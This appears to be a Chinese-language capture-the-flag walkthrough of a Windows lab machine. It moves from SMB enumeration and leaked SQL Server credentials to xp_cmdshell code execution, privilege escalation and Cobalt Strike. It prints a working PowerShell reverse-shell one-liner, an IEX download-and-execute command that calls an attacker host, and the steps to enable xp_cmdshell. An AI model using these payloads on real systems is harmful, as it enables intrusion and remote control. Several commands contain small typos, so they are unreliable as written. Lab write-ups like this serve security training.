准备
impacket工具
Cobalt Strike
界面
扫描
拿到ip,先上DJ!先上DJ!
不对不对。。。
先上nmap!先上nmap!
利用
可以发现445和1433端口开启
445:通常与SMB服务有关联
1433:常与SQL Server关联
自我觉得445端口成功的可能性更大些,那就从445入手!!
值得检查是否允许匿名访问,因为文件共享通常存储包含密码或其他敏感信息的配置文件。
于是乎使用smbclient进行尝试连接
smbclient -N -L //10.10.10.27/
-N 不用询问密码
-L显示服务器端所分享出来的所有资源
成功!
依次进行连接
发现backups
似乎是一个备份的共享
smbclient -N //10.10.10.27/backups
dir //列出文件
有一个 dtsConfig 文件,它是与 SSIS 一起使用的配置文件。
get prod.dtsConfig
cat prod.stsConfig //查看
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
可以从这个配置文件中读出Windows 用户 ARCHETYPE\sql_svc
的凭据
Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc
尝试使用Impacket的mssqlclient.py连接到SQL Server
mssqlclient.py -windows-auth ARCHETYPE/sql_svc@10.10.10.27 //mssqlclient.py user ID@ip
成功!
使用SELECT IS_SRVROLEMEMBER(‘sysadmin’)
查看当前是否有sysadmin(最高级别)的 SQL Server 权限`,返回1,则表示具有该权限
这将允许我们启用 xp_cmdshell 并在主机上获得 RCE
依次执行以下代码:
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
如果成功 则返回archetype\sql_svc,但是,此帐户似乎没有主机的管理权限,但也拥有部分权限。
这时,创建一个shell文件
shell.sp1
内容如下:
$client = New-Object System.Net.Sockets.TCPClient("10.10.15.174",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
注意:ip需要更改为本机ip,端口为后续要监听的端口!
接下来,建立一个小型网络服务器以供shell下载
在同目录下使用命令
python3 -m http.server 80
再开启监听
nc-lvnp 443 //监听443端口
我们现在可以通过 xp_cmdshell 发出下载和执行反向 shell 的命令
xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString(\"http://10.10.15.174/shell.ps1\");"
此处ip为shell接受端ip
执行后:
可以发现,已经有下载请求,在返回netcat查看,成功!
小插曲:这边之前一直未上线,最后发现原来是443端口没开,导致反弹不回来
ufw disable //关闭防火墙
ufw allow 443 //开放443
使用type C:\Users\sql_svc\Desktop\user.txt
取得第一个flag!
再使用type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
取得powershell
这里我们得到adiministrator的密码!!
这表明备份驱动器已使用本地管理员凭据映射。我们可以使用 Impacket 的 psexec.py 来获得特权 shell。
接下来进行提权!
这里用到psexec工具
psexec.py 用户名@ip
psexec.py administrator@10.10.15.174
输入对应密码
连接成功!
此时执行payload 使其在Cobalt Strike上线
最终在desktop位置找到root.txt找到administrator的flag!